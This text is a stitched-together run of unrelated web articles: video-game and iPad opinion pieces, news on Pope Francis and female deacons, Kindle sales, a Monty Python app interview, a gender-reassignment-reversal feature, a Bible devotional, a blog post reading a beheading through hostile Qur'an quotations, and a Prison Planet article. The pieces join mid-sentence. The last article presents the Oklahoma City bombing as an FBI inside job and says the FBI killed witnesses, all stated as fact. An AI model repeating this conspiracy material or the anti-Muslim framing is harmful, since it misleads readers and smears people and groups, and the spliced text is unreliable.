See Also:It's rare to find a game series that keeps true to its roots, especially when it doesn't exist in a first person shooter world. Often game developers will take a series that successfully appeals to a very specific game audience and try to capitalize on its success by pandering to the lowest common denominator of gamers. Recently, Namco Bandai announced that it will be going for an "all guns blazing" marketing approach to their titular sequel. If you aren't familiar, Dark Souls was a modest game from back in 2011 that was able to generate a bit of additional buzz thanks to an article IGN's Casey Lynch wrote contrasting it to Skyrim. Unfortunately, this amazing game didn't get nearly the marketing that Skyrim did. Both games had a medieval setting, and both had dragons. However, while Skyrim appealed to a much larger and what some might consider "casual" audience, Dark Souls unforgiving game design appealed to a niche group of hardcore gamers looking for a challenge. This type of specific game construction is the starting point for a lot of famous franchises over the years that have since become bastardized versions of their former glory. This has the folks over in /r/darksouls a bit on edge, and for good reason. In a perfect world this sequel would provide good exposure to a game series that harkens back to old-school methods of adventure/action gaming. Dying is no longer a pause in your gameplay where you can just load back to a recent save. Every massive swing of your enemies' weapons causes genuine fear of losing everything you've worked for up to this point. The responses the game pulls from you are both visceral, and refreshing. However, so were your responses to the events in Resident Evil. And Deadspace. And Tomb Raider. All three of these games started as a very specific type of experience. However, as they progressed and accumulated some money and fame, the studio heads seemed to drool over the idea of a larger audience, bigger numbers, and more sales. To accomplish this goal they removed the very aspects of the games that made them fun. Tomb Raider's most recent incarnation emulated Uncharted. Deadspace tried to turn itself into a Gears of War, and Resident Evil became -- well -- the Fast and Furious of "horror" action; where each title had to try and out-action the previous installment, sacrificing the horror aspect in exchange for explosions and more characters. The Resident Evil series can't get a universally positive game review to save its life; Deadspace was panned for its departure from the survival horror that it had once previously excelled at, and Tomb Raider had almost nothing to do with raiding tombs. With enough examples to create an industry case study, it would seem as if another title is about to go the way of the industry dodo.However, if done correctly, this also has the possibility to be one of the best things to happen to the game industry in a long time. Dark Souls has one of, if not the best combat systems ever created. Its minimalistic story allowed each player to create their own adventure, without being confined by shoddy writing or overly-ambitious narratives. The visuals were gorgeous, the load times were confined only to respawning, and the multiplayer system was creative and innovative. The game didn't talk down to its players by holding their hand throughout the missions and story, and it was a game in every sense of the word, as opposed to a movie you play through. Now imagine that these concepts don't change moving into Dark Souls II. Imagine also it has the marketing budget of Skyrim, or Call of Duty, or Uncharted. It would show that the game industry isn't stale; that there are fresh ideas out there that, when given some exposure, can thrive. It has the possibility to be a flagship of content and niche market growth to show that you don't have to pander to the lowest common denominator in order to make a successful franchise; you just need the right kind of marketing. An aside: if you have any doubts about how important marketing is to a game and its success, take a look at Dead Island. Their first marketing video created a story that people wanted to see. Most of the game's initial success can be attributed to the timeliness of the zombie content, and the video that they were marketing around. Dead Island wasn't an amazing game, and was more annoying than it was fun in many areas. Then they decided to promote their new expansion pack. It was a disaster, caused the company tons of bad PR, and pretty much tanked the title. Heres hoping Namco Bandai stays true to their souls (get it?), and ignites a digital renaissance to the often stale mainstream video game market.For the past two years or so I’ve been openly contemplating what would happen if Apple evolved the iPad into a true productivity PC. That day hasn’t arrived yet. But the new iPad Pro lineup —and a coming revision to iOS—shows us how Apple can get us there. Someday.
For now, however, Apple has an iPad problem.
When the original tablet was introduced in 2010, then-CEO Steve Jobs said that he had wondered whether there was “room” for a product between a phone and a laptop. But in doing so, he inadvertently revealed Apple’s real goal, which was about selling more hardware, not fulfilling actual customer needs.
Then the firm announced the original iPad Pro in late 2015. And once it again, it did a horrible job of explaining why it was necessary or, in this case, even deserved a Pro moniker.
The result is well-known: Apple has sold fewer iPads, year-over-year, for 12 consecutive quarters. That’s three straight years of falling sales. Not slowing sales. Falling sales.
That fact needs to be put in perspective, of course. iPad sales are still about double those of Mac sales. And these devices are high quality enough that they last for many years. In this age of throw-away consumerism, maybe we should commend Apple for bucking the trend.
But then Apple also has a hubris problem that prevents it from shifting strategies quickly: The original iPad was heralded as the start of a post-PC world that never came. Which is particularly amazing when you consider how badly PC sales have fallen in recent years. Here’s this wounded and struggling animal, the PC, and Apple’s new wonder weapon can’t even deal a decisive death blow. Seems like a missed opportunity.
Not helping matters, Microsoft and it PC maker partners have paved their own path to a future that does include PCs by innovating with 2-in-1 PCs, gaming PCs, and premium PCs, sub-markets in which there has been tremendous growth. So Apple has been forced to veer from its original iPad vision and offer an iPad Pro 2-in-1 of its own.
It hasn’t helped. At least so far.
Part of the reason is that the original iPad Pro was ill-conceived. It had a huge and technically advanced screen, of course, though Apple later admitted that customers prefer a 9.7-inch form factor, introduced in early 2016, over the original 12.9-inch behemoth. But because of the screen size of that smaller device, the on-screen keyboard is not full-sized as it is on the 12.9-inch version.
Those first iPad Pros were more powerful than other iOS devices, thanks to a more powerful processor, graphics, and additional RAM. But they were also held back by the modest software improvements in iOS, which provided basic multitasking features like a side-by-side apps view but little else.
So Apple is finally addressing these and other issues. In part via new and much-improved iPad Pro devices. And in part via iOS 11, which significantly improves the system’s multitasking and productivity capabilities, but will not arrive in final form until September.
Which is an agonizing three months away for those, like me, who wish to see how well Apple’s vision of the future of computing works today.
It does not work well at all. This will please PC fans, I hope. Because while I keep dreading the day that Apple—and for Google, with Chromebook—will wake the f#$k up and just do it already, these companies have both run into major and I assume unexpected roadblocks in delivering on their promises to put the PC out of its misery already.
Witness the new iPad Pro as the latest example of this half-heartedness. I ordered a new 10.5-inch version, which replaces the old 9.7-inch version, an Apple Pencil, and a Smart Keyboard, which also works as a big and heavy cover for the device. For now, this setup will work much like iPad Pros have to date, using a fairly lackluster iOS 10.x version that doesn’t fully take advantage of this hardware and its unique capabilities. But as I’m a registered Apple developer and have access to the pre-release code now, I’ve already moved it to iOS so I can get a more complete idea of where things are going.
And it’s not there yet. Will not be there, in fact, at any time in the next year. So there’s your breathing room, PC fans. Even with the advances in iOS 11, the iPad Pro is no laptop replacement.
The issues with this device are many, but they boil down to two basic ideas, which I’ll tie back to opening comments about Apple having an iPad problem. I just don’t see what the point is here.
First, the iPad Pro is too small to be a productivity device, and it lacks key features—most obviously a touchpad or similar pointer—to ever replace a laptop. A Chromebook is a much better solution for anyone who needs to type at all, and that’s pretty damning all on its own.
Second, the iPad Pro is simply too big to be enjoyable as a consumption device. The screen is amazing, and the speakers sound incredible, but holding this thing to read is like carting around a hardcover bible or coffee table book: It’s big, heavy, and awkward. It’s like a large print edition of the iPad.
As always, I should qualify these statements. It’s a well-made, high-quality device. (Which it should be at these prices.) And I can see how the 10.5-inch iPad Pro improves over its predecessor, which contrary to claims does not share the same basic form factor as the iPad Air and Air 2. (Those tablets were, in fact, smaller, by about half an inch.)
I haven’t owned a full-sized iPad since the original iPad Air, though I did own all previous full-sized iPads, including the original, the iPad 2, the iPad 3, and the iPad 4 (which was at first just called the new iPad). Since then, I’ve stuck largely with the iPad mini, which works well as a reading and video watching device, with its small form factor and light weight. So this will be a bit of an adjustment. OK, more than a bit.
But the screen, paradoxically, is perhaps the iPad Pro’s biggest asset. Pardon the pun. It offers a resolution of 2224 x 1668 resolution, which works out to be 264 PPI, the same pixel density that Apple provides on the bigger 12.9-inch version. This bigger screen sort of fixes the on-screen keyboard issue, too: On this device, the on-screen keyboard is full-sized, just as it is on the 12.9-inch version.
That screen can’t help with the Smart Keyboard, however. Here we see a less-than-full-sized keyboard, with that weird fabric covering, and no touchpad or other pointing device. I would have preferred a 12.9-inch model, if only for a more comfortable typing experience. But I can’t afford such a thing, and for now, what I really want to do is just experiment with the new productivity capabilities. So the 10.5-inch model will have to do. Maybe iOS 12 will include a mouse pointer in 2018.
The device is elegant in the way that all Apple hardware is elegant, and if you’ve owned any iPad in the past, this will look and feel familiar. Maybe too familiar.
So what’s the point?
In a perfect world, I would just return this thing. It’s borderline pointless, and when you add up the costs—$650 for the tablet, $130 for the Smart Keyboard, and $100 for the Apple Pencil—you’re edging nicely into premium laptop territory. But I have slightly different requirements than most consumers.
Looked at from a purely Microsoft-focused perspective—an admitted niche—the iPad Pro is the most sophisticated mobile platform on which to run the software giant’s productivity apps and services. In particular Office 365, which is expanding so quickly these days I can barely keep up. So there’s some testing to be done there.
But I also have a long-running—and by “long running,” I mean 20+ years—history of keeping competitive devices on hand for testing purposes. I’ve always had one or more Macs, for example, and my now-aging MacBook Air will need to be replaced at some point. With an eye towards this post-PC future that never seems to arrive, I will need to keep this thing around for testing purposes. I won’t call it in investment. But it’s a bit of a necessity.
(On that note, I skipped the first-gen iPad Pro devices on purpose, knowing that gen-2 would be much improved. When Apple announced the MacBook Pro with Touch bar, I figured I’d jump in at gen-2 there, as well. But they released gen-2 so quickly after the first models, that I will keep waiting. Not made of money, etc.)
There’s also that Apple Pencil I’ve barely mentioned. I’ve been spending a lot more time in recent weeks experimenting with various smartpens on various platforms and will be writing more about this going forward. I’m decades away from my years as an artist, and many years away from the last time I took notes by hand, with real pens and pencils. But maybe it’s like riding a bike. I at least do have those experiences to fall back on.
In any event, there is much to test, much to think about, and much to write. But what you need to know right now is that the iPad Pro (2017) is almost certainly the best full-sized iPad that Apple has ever made. And while it is a step towards the post-PC future, it’s only a step, and a belated one at that. And it doesn’t go far enough to warrant any worries that doom is upon us.
So thanks for moving so slowly, Apple. Now I can turn my attention to more pressing matters.
Tagged with iPad ProNuns sing as they wait for the arrival of Pope Francis during Holy Year activities in St. Peter’s Square at the Vatican on April 24. (Andrew Medichini/AP)
Pope Francis on Thursday opened the door to the possibility of ordained female deacons for the first time in centuries, potentially signaling a historic shift for the role of women in the male-dominated ministry of the Roman Catholic Church.
The pope is on record as opposing female priests. But, in off-the-cuff comments to an international conference of nuns in Vatican City, he said he supports the creation of a commission to examine whether women should be “reinstated” as deacons.
He called for such a commission to review the history and scope of female deacons who served the church in ancient times. But while suggesting he would welcome a fresh debate, Francis stopped short of saying whether he would ultimately support the readmission of women as deacons, who are vested with a range of priest-like powers including baptism, officiating at weddings, distributing Holy Communion and preaching at Mass.
[Which other religions have female clergy?]
The pope’s comments came as part of a question-and-answer session during a gathering of the International Union of Superiors General, a 500,000-member global nuns group.
“What impedes the church from including women among permanent deacons, just as it happened in the early church?” the pope was asked, according to a transcript by the National Catholic Reporter. “Why not construct a commission to study the issue?”
The pope told the sisters that, to his knowledge, the women’s role in history “was a bit obscure.” It was not clear, he said, if they were “ordained” — or officially appointed. Creating a commission to study the question “would do good for the church to clarify this point. I am in agreement.”
[The Catholic Church puts one foot forward on the path to including women]
The pontiff’s remarks were received enthusiastically. The nuns group “is very happy for the welcoming conversation with the pope. It was very friendly, familiar. It was a real dialogue,” said spokeswoman Patrizia Morgante.
Almost immediately, Catholic experts from all points along the ideological spectrum began debating the significance of the comments.
“I can’t underscore enough how groundbreaking this is for the Church,” said Boston College theologian James Bretzke. “If women can be ordained as deacons, then this is going to weaken — not destroy — but weaken significantly the argument that women absolutely are incapable of being ordained as priests. So this is opening more than a crack in the door.”
Yet some liberal female theologians were quick to focus on the ambiguity of the pope’s words. A commission that primarily studied the historical role of women as deacons in centuries past, they warned, could yet mean a long road ahead before women could actually be ordained as deacons today.
“The issue of female deacons has already been studied in depth,” said Marinella Perroni, a Rome-based theologian. “I hope we don’t start from scratch now.”
[Inside the Catholic nursing home at the center of a contentious Supreme Court case]
And Susan Selner-Wright, a conservative philosophy professor at St. John Vianney Theological Seminary in Denver, said that liberals hoping that the pope’s commission would lead to the ordination of women as deacons or priests “will be disappointed.”
“That’s not up to the Church to change,” Selner-Wright said. “It’s up to Jesus.... If he had wanted to recruit women to be among the apostles, he would have done it. He just didn’t.”
However, she said that she could conceive of a revised role in which deacons, both male and female, dedicate themselves to service but are not ordained. “There would be really a seismic shift in the understanding of the diaconate and the understanding of deacons. And maybe that would be a good thing,” she said.
The pope’s comments came during a two-week period that saw women’s issues raised more than usual within the male-dominated walls of Vatican City.
One week ago, Cardinal Pietro Parolin, the Vatican’s secretary of state and a close confidant of the pope, said that theoretically, there is no reason why a woman could not one day fill his job.
Parolin — often viewed as the most powerful figure in Vatican City after the pope — made that statement as the Vatican unveiled an overhaul of a section for women in its official newspaper, L’Osservatore Romano.
Francis has spoken out against gender inequality in other veins, for instance calling the pay gap between men and women who do the same job “pure scandal.” In an institution that has been occasionally uncomfortable in addressing the question of women’s role in the church head-on, he has also seemed to facilitate a broader debate. Last year, for example, the Vatican hosted a number of conferences focused on women, including one titled “Women’s Cultures: Equality and Difference.”
[Could Pope Francis be a feminist pope?]
But while Francis had elaborated on the need for a greater role for women in the church, he has categorically ruled out the notion of ordaining female priests. As recently as September, he told reporters on a flight back to Rome after his historic visit to the United States that the ordination of women “cannot be done.”
“Pope St. John Paul II after long, long intense discussions, long reflection said so clearly,” the pope said. “Not because women don’t have the capacity. Look, in the Church, women are more important than men because the church is a woman. It is “la” church, not “il” church. The Church is the bride of Jesus Christ.”
Church leaders have been talking about the questions surrounding female deacons for years. A 2002 Vatican commission called for a “ministry of discernment” within the church to sort out what female deacons did in the past and how that relates to the present.
The Vatican’s communications office expanded on the historic role of deacon in the church and the pope’s remarks in a later email.
Until the 5th century, it noted, both male and female deacons flourished in the Western Church, but the role of deacon declined over the next several centuries, surviving only as an intermediate stage for male candidates preparing for priestly ordination. Following the Second Vatican Council, the Church restored the role of permanent deacon, which is open to single and married men.
“Many experts believe that women should also be able to serve in this role, since there is ample evidence of female deacons in the first centuries, including one named Phoebe who is cited by Saint Paul in his letter to the Romans,” said an email from English-language press officer the Rev. Thomas Rosica. Francis “said understanding about their role in the early Church remained unclear and agreed it would be useful to set up a commission to study the question.”
However, the report also noted that when the pope was asked about women preaching homilies during Mass — which deacons do, as do priests — Francis “said it’s important to distinguish” between different types of speaking, and that speaking during Mass connects the role of priest to the person of Jesus, who was male.
[Pope Francis has an unusually positive view of sex]
Sister Simone Campbell, a prominent progressive U.S. nun who leads the domestic social justice lobbying firm NETWORK, said she views Francis as “kind of caught” between coming from a culture dominated by images of men as leaders and his own inclinations to create strong bonds with women and view them as leaders, too.
Despite references in the New Testament and in early church art to women’s leadership, “there are 1,000 years of saying women’s leadership never happened,” Campbell said. “Part of it is lifting up scriptural references that have been glossed over and moving the church along to accept it. You know how it is for human beings — we see what we expect and don’t see what we don’t want to see. I think that’s what’s opening up... the effort to look at the deeper truth.”
Stefano Pitrelli in Rome contributed to this report.
This post has been updated.
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The Archdiocese of Baltimore has posted a list of 71 priests accused of sexually abusing childrenAsk Anyone But Amazon How Well the Kindle Is Selling
Expect lots of adjectives like “big,” “great,” “No. 1” or “bestseller” to provide some color on how many Kindles Amazon is selling.
But don’t expect Amazon to crack open the books to provide anything more concrete than that, even during the company’s third-quarter earnings report, being released tomorrow.
The Seattle-based e-commerce giant has yet to provide numbers on how well its lineup of Kindles is selling, and that’s not likely to change.
For the most part, Amazon doesn’t share these figures because it doesn’t have to. Piper Jaffray Analyst Gene Munster points out that the Kindle is a fairly small part of Amazon’s business and, according to his best guess, makes up only about 4 percent of revenues.
And if Amazon doesn’t have to disclose sales, why would it want to? The numbers would only tip off Apple and Barnes & Noble on how well its tablet business is doing.
But expect Amazon to be under increasing pressure to start divulging more information as the Kindle makes a greater impact on its bottom line.
Analyst Mark Mahaney of Citi largely expects the third and fourth quarters to be strong; however, his guidance is lower compared to the Street consensus because of the financial hit the Kindle Fire launch could have on earnings.
“There is the distinct possibility that an aggressive/successful Fire launch could materially negatively impact AMZN’s margins and EPS near-term,” he wrote in a note to investors.
He expects a profit of 19 cents a share on revenues of $10.8 billion. The Street’s consensus is a profit of 24 cents a share on revenues of $10.9 billion.
As an indication of how well the full lineup of Kindle devices is selling, the top seven bestsellers in Amazon’s electronics store are Kindles of different shapes and sizes.
The Kindle Fire, which ships Nov. 15, is the most expensive and has been in the top slot for the past 27 days. The next best-selling Kindle is the cheapest model, at $79.
J.P. Morgan is estimating that in the fourth quarter, Amazon could sell five million Fires.
But all those sales may not be the best of news.
The Kindle Fire could result in lower earnings because of its aggressive price point. At just $199, it costs less than half of Apple’s entry-level iPad, which makes it appealing to the mass audience. But Amazon could be losing about $50 per Fire, according to some estimates.
However, the lower margin could be offset by the company’s new “offers” business, which basically places advertising on the devices to subsidize the cost of the hardware.
For example, the Kindle Touch with Special Offers costs only $99, but if you want one without ads, it costs $40 more. The new Kindle, without a touchscreen, costs $109 — or $79 for the ad-subsidized model. It’s not clear at this time if the Fire will ship with offers or not.
The offers appear on the device’s screensaver and do not appear while reading the text of a book or at any other time. They are sold by both Amazon and LivingSocial, which is second to Groupon in the deals niche and backed by Amazon.This is yet another instance in which authorities ascribe Islamic jihad activity to mental illness. And this case is particularly egregious: authorities in Oklahoma are taking the fanatical attachment to Islam of Jah’Keem Yisrael (formerly Alton Nolen) as an indication that he is insane. Texas neuropsychologist Antoinette McGarrahan told the judge: “He has lost touch with reality. It has gone to that extreme. He can’t think rationally because he firmly believes he is being held captive, and we are all evil and the devil.”
Now wait a minute. He is in jail, no? So he is being held captive. And his Qur’an calls unbelievers “the most vile of created beings” (98:6), so how is it evidence of insanity that he thinks his captors and their associates are “all evil and the devil”?
SMU professor Robert Hunt, “an expert on Islamic beliefs,” claimed that the beheading was not in accord with Islamic law because “the use of beheading by ISIS is in the context of perceived crimes against the Muslim community and involves trials, however unjust, and a finding of guilt. They do not involve settling personal disputes.” Hunt did not note that the Qur’an says “When you meet the unbelievers, strike the necks” (47:4), without noting that one must not do this in the context of personal disputes.
Hunt also abetted the claim that the beheader is insane by noting that “Nolen would not agree to an interview in the jail. Hunt said Nolen called him a ‘white heathen’ and walked out.” Of this, Hunt said: “He appears to be living in a fantasy world.” Why? What is evidence that he is living in a fantasy world that he doesn’t want to talk to an unbeliever and refers to him as such?
Jah’Keem Yisrael “justified his actions based on his reading of the Quran and stated that he would do the same thing again to anyone who oppressed him.” And since everyone who isn’t a racist, bigoted Islamophobe knows that the Qur’an teaches nothing but peace and benevolence, this must mean that he is insane.
“Judge Rules Alton Nolen Not Competent To Enter Guilty Plea In Moore Beheading Case,” News9.com, August 17, 2016 (thanks to Bulldog):It's not Monty Python and The Holy Grail, Part 2, but the latest offering from the legendary British comedy troupe is sure to please longtime fans: The six men of Monty Python have released an iPad app to commemorate the release of the all-time classic medieval laugh riot on Blu-Ray.
The iPad app is called "Monty Python: The Holy Book of Days," and it is packed with material that supplements and colors the original 1975 film. The app, which ZDNet rightly called "essential for any self-respecting Python fan," is split into two parts: The first acts like an extras section on a DVD, with never-before-seen outtakes and stills, the screenplay with handwritten notes, animations of important props and the like.
The second part of the app, meanwhile, is an intriguing bit of cinema history: The movie was filmed in 28 days (hence the app's title, "The Holy Book of Days"), and the app features a day-by-day filming diary that culls memories, photographs and videos into a humorous, surprisingly detailed production diary. This part of the app can also sync up with the Blu-Ray film via Wi-Fi connection and act as a sort of second screen or "pop-up video" to educate you on the scene you're watching while you watch it.
So, for example, when the shouts come to "Bring Out Your Dead!" on the television, your iPad can inform you all about the pig feces and urine that was actually on the ground and in the mud, which Python troupe member Michael Palin was forced to eat 14 times due to Holy Grail co-director Terry Gilliam's insistence that they get the shot just right.
Speaking of Gilliam: On the release of the app, we talked with the lone American Python member -- who is also a legendary filmmaker in his own right, having helmed classics like Fear and Loathing in Las Vegas, Brazil and Twelve Monkeys -- about the new iPad app and much, much more. Our talk veers wildly in a classically jolting and discombobulating Python-ish way (think "And Now For Something Completely Different"), ranging from the Holy Grail film and the iPad app, to why Gilliam finds that the iPad is better than sexual intercourse, to his rabid Apple fanboy status, to his rather deep ambivalence with the encroachment of technology like Twitter into our lives. Check out the convo below and get a sneak peek at the "Book of Holy Days" app ($4.99 in the iTunes Store) while you're at it.
Jason Gilbert: Why did you guys choose to release this app and what do you hope to accomplish with it?
Terry Gilliam: We hope to make money! Simple as that, end of conversation!
No, we're basically very green when it comes to comedy. We don't cut any of the old, and it gives people a chance to delve into the world of making the film. I actually found myself sitting there for quite a long time on the app reminding myself of all the things that we've done, which oftentimes we forget.
JG: Going through the old footage and the notebooks, was there any scene or any day in particular that really made you nostalgic?
No, the whole thing. I'm not very good at specific moments, it was just the general sense of "Shit, we did it that quickly!" I'd forgotten how many days we actually had to shoot it.
What also intrigued me was just how naïve we were. Knowing what I know now, we would never have started a project to be done that quickly with that little money. Because we just didn't know better; we just leapt into it and did whatever we had to do to get through it.
JG: When was the last time you watched it all the way through?
TG: Oh I don't know, years ago. I don't tend to watch our stuff. Once it's done it's done. It's funny what you can do when you don't know better. We set out with very high ideals and constantly had to make compromises. If Terry [Jones] and I had our way, it would've been real horses, but instead it's coconuts and that's much better, and much funnier.
JG: How close did the troupe follow the development of this app?
TG: We didn't, John Goldstone, the executive producer of the film, was really sitting on top of this. What pleased me is that it really looks like it really does involve this. There's a lot of information, a lot of detail that we handed over and it surprised me by its quality. Some of the stuff we've been doing of late has been less than brilliant as far as merchandising and stuff, so I thought this was really quality.
JG: Do you own an iPad?
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part, they are not being heard.
Last week, it was alleged that Bath Spa University has turned down an application for research on gender reassignment reversal because it was a subject deemed “potentially politically incorrect”.
James Caspian, a psychotherapist who specializes in working with transgender people, suggested the research after a conversation with Djordjevic in 2014 at a London restaurant where the Serbian told him about the number of reversals he was seeing, and the lack of academic rigour on the subject.
According to Caspian, the university initially approved his proposal to research “detransitioning”. He then amassed some preliminary findings that suggested a growing number of young people – particularly young women – were transitioning their gender and then regretting it.
But after submitting the more detailed proposal to Bath Spa, he discovered he had been referred to the university ethics committee, which rejected it over fears of criticism that might be directed towards the university. Not least on social media from the powerful transgender lobby.
Speaking this week, Caspian described himself as “astonished” at the decision, while Bath Spa University has launched an internal inquiry into why the research was turned down and is at present refusing to comment further.
Until the investigation is complete, Djordjevic, who performs around 100 surgeries a year both at his Belgrade clinic and New York’s Mount Sinai Hospital, is unwilling to give his exact opinion on the apparent rejection, but admits he is baffled as there is a desperate need for greater understanding in reversals.
“Definitely reversal surgery and regret in transgender persons is one of the very hot topics,” he says. “Generally, we have to support all research in this field.”
Djordjevic, who has 22 years’ experience of genital reconstructive surgery, operates under strict guidelines. Before any surgery, patients must undergo psychiatric evaluation for a minimum of between one and two years, followed by a hormonal evaluation and therapy. He also requests two professional letters of recommendation for each person and attempts to remain in contact for as long as possible following the surgery. Currently, he still speaks with 80 per cent of his former patients.
Following conversations with those upon whom he has helped perform reversals, Djordjevic says he has real concerns about the level of psychiatric evaluation and counselling that people receive elsewhere before gender reassignment first takes place.
Djordjevic fears money is at the root of the problem, and says his reversal patients have told him about making initial inquiries to surgeries and simply being asked to send a cheque in return.
“I have heard stories of people visiting surgeries who only checked if they had the money to pay,” he says. “We have to stop this. As a community, we have to make very strong rules: nobody who wants to make this type of surgery or just make money can be allowed to do so.”
To date, all of his reversals have been transgender women aged over 30 wanting to restore their male genitalia. Over the last two decades, the average age of his patients has more than halved, from 45 to 21. While the World Professional Association for Transgender Health guidelines currently state nobody under the age of 18 should undergo surgery, Prof Djordjevic fears this age limit could soon be reduced to include minors. Were that to happen, he says, he would refuse to abide by the rules. “I’m afraid what will happen five to 10 years later with this person,” he says. “It is more than about surgery; it’s an issue of human rights. I could not accept them as a patient as I’d be afraid what would happen to their mind.”
Referrals to adult and child gender identity clinics in the UK have increased dramatically over the past 10 years. In April, the Tavistock and Portman NHS Foundation Trust, the only clinic for adolescents in England, reported 2,016 referrals to its gender identity development service, a 42 per cent rise compared to the previous year, which in itself marked a 104 per cent increase on the year before that.
The clinic stresses the majority of its young referrals do not end up receiving physical treatment through the service. While NHS guidelines state young people should not be given cross-sex hormone treatment until 16, concerns have been raised about the lack of regulation, particularly in the private sector.
Earlier this month, it was revealed a Monmouthshire MP, Dr Helen Webberley, was being investigated by the General Medical Council (GMC), following complaints from two GPs that she had treated children as young as 12 with hormones at her private clinic, which specialises in gender issues.
Webberley insists she has done nothing wrong, and there were no “decisions or judgments” made on the claims against her. “There are many children under 16 who are desperate to start what they would consider their natural puberty earlier than that,” she said this month.
Djordjevic feels differently, and admits he has deep reservations about treating children with hormonal drugs before they reach puberty – not least as by blocking certain hormones before they have sufficiently developed means they may find it difficult to undergo reassignment surgery in the future.
“Ethically, we have to help any person over the world starting from three to four years of age, but in the best possible way,” he says. “If you change general health with any drug, I’m not a supporter of that theory.”
These are profoundly life-changing matters around which he – like many in his industry – feels far better debate is required to promote new understanding. But at the moment, it seems, that debate is simply being shut down.
The Sunday TelegraphVisit Books but Live in the Bible
I love to read. Reading is so good.
In case you didn’t know, my birthday is coming up pretty soon and I wouldn’t mind an Amazon gift card or something for more books. Just sayin’.
It’s funny writing out that I love to read. My high school years were spent largely on sports. Honestly, I’d dream about performing on stages, not flipping through pages—concerned about my looks, not books. Ironically, I was never that good either. Regardless, my mind was there.
I didn’t enjoy reading whatsoever. But in college, the Lord sparked something in me not only about reading, but about the Bible. Compared to my textbooks, I read the Bible the most! I’d wake up early in the mornings to read and pray. Reading the clear truth packed into the Word gave me real refreshment every day—and still does.
Lately, the Lord has been reminding me of some very important, foundational things regarding the Bible that I want to share with you.
Charles Spurgeon once said, “Visit many good books, but live in the Bible.”
The Bible is God’s book.
No book that you will ever read or write comes close in comparison to what the Bible can offer you. Any other book may be able to talk about God’s book well, but realize it won’t compare. The Bible can inspire, revive, exhort, correct, discipline, train, and connect you to God all at the same time! What other book can do this?
As the great “Prince of Preachers” said, it is good to visit many good books! However, live in the Bible.
What do you think this means?
Don’t get hung up elsewhere. God has given us the Bible for daily use. It needs to be part of the Christian’s daily routine. It’s like daily bread, not cake for special occasions. You see, the Bible was not given only to priests and pastors, but also to laymen and the average Joe. The Word has more functions than only writing sermons.
When I was on staff for a collegiate ministry organization, my director, Carin Cochran, once said to me, “Always read the Bible more than you read about the Bible.” That instruction was so beneficial for me and I listened. It may be one of the most helpful things anyone has ever said to me.
Please take this and apply it! Please look to Christ as your Savior and live in the Bible!
Keep reading…
Many good books are out there, as you’ve seen. Read them! Visit them well, but if you’re not living in the Bible, how will you know what to compare each book to? Where can you safely retreat? How will you be able to discern truth if you’re not planted in Scripture first?
God’s voice trumps man’s voice, friends. Before you read on what man has to say—including me—today, first hear what God has to say. It is certainly easy to nod your head or amen these things, but what is your life and daily routine saying you believe?
This is what I preach to myself.
I believe both what Charles and Carin have said is lasting, true, and beneficial. I pray the Lord will allow my life to display this truth. Let us visit many many good books! ‘Cause you know I love to read (remember my birthday is coming up). Although, more than reading, I love to live.
May we be like little children running to the Bible daily to meet with God—to hear him speak truth and life into our bones. May we do this privately and publicly. May we do it for God, because of God.
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Like this: Like Loading...Documents released under Freedom of Information Act show feds tried to coerce Terry Nichols into accepting responsibility for phone call warning of imminent attack in return for protecting him from death penalty
Paul Joseph Watson
Prison Planet.com
Tuesday, February 8, 2011
New documents released under the Freedom of Information Act confirm that the FBI received a phone call the day before the Oklahoma City bombing warning that the attack was imminent, and that the feds tried to reach a deal with bomber Terry Nichols to take the death penalty off the table if he admitted making the call.
The documents were released to Salt Lake City lawyer Jesse Trentadue, who in the course of of a 15 year battle in trying to ascertain why his brother was tortured to death during an FBI interrogation related to the case, has all but proven the attack on the Alfred P. Murrah Building was an inside job run by FBI agents who were handling Timothy McVeigh.
“What that indicates to me, there is a record somewhere of that phone call and the FBI needs to explain it,” said Trentadue in an interview with KTOK News. “If the call was from one of their informants with McVeigh, clearly, they had knowledge of the bombing and didn’t stop it.”
The feds’ attempt to make Nichols accept responsibility for the phone call occurred in 2005 after Nichols was visited by an attorney named Michael Selby who claimed he was working for the government and would guarantee Nichols was spared the death penalty if he played ball in covering up FBI foreknowledge and involvement in the bombing plot.
“This was the first I had ever heard of such a telephone call having made made,” said Nichols in an affidavit filed recently in Utah U.S. District court. “And I told Mr. Selby that as well as the fact that I had not made that telephone call.”
A d v e r t i s e m e n t
Selby also tried to get Nichols to reveal the location of a box of explosives that the FBI failed to find during an initial search of Nichols’ home in 1995.
“He was fearful the FBI would come into possession of it and then no one would ever know who else was involved,” said Trentadue. “And his fears proved true because the FBI apparently found out about the box of explosives hidden in the basement (of the Nichols home) and got the box.”
McVeigh and Nichols’ fingerprints were found on the box, along with the fingerprints of at least two other individuals whose names were redacted by the FBI.
“Trentadue believes the government was desperate to reach the box before Nichols could make its location known to Homeland Security rather than the FBI. The attorney says it would have shown others were involved as government informants in the bombing conspiracy,” reports KTOK.
“When you look at these documents, that this was being monitored, this search for the box of explosives at the highest levels within the Department of Justice, right up to and include the White House I think, I mean, this wasn’t your local FBI office handling this. This was being run right out of the main justice in Washington D.C,” said Trentadue.
Lawyer Jesse Trentadue has embarked on a fearless campaign to uncover the truth behind his brother’s death, and the evidence that he has gathered in the process clearly indicates that the FBI have been killing witnesses who have direct knowledge of the fact that the Oklahoma City bombing could not have gone ahead without the aid of FBI informants and that the government had prior knowledge of the attack on the Alfred P. Murrah building at least four months in advance.
(ARTICLE CONTINUES BELOW)
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Trentadue’s evidence points to the fact that federal agents killed his brother because they mistook him for Richard Lee Guthrie, a member of the Midwest Bank Robbery Gang that included McVeigh and had been robbing banks before the attack. Guthrie was found hanging in his cell while in federal custody a day before he was due to give a confessional interview about the Oklahoma City bombing.
Trentadue said he believes Guthrie was John Doe 2, McVeigh’s accomplice in carrying out the attack on the Alfred P. Murrah building and an individual seen by multiple eyewitnesses yet omitted from the official story by the authorities.
Current Obama administration Attorney General nominee Eric Holder was also involved in the cover-up of Trentadue’s brother’s death, sending Department of Justice emails concerning the need to keep a lid on what was dubbed “The Trentadue Mission”.
In February 2007, Trentadue obtained an astounding declaration from Nichols in which he fingered FBI agent Larry Potts as having directed McVeigh in carrying out the attack.
In addition, Nichols’ description of the bomb he helped McVeigh build does not match with official accounts of the device used in the attack, lending further credence to evidence that strongly suggests only bombs planted within the Alfred P. Murrah building, which were initially reported by TV news stations, could have caused the damage inflicted.
Former FBI Terrorist Task Force director Danny Coulson, the man who was in charge of collecting evidence from the Alfred P. Murrah building, has called for a new new grand jury investigation into the bombing in order to identify FBI informants who were involved in the plot.
OKLAHOMA CITY BOMBING – THE EVIDENCE
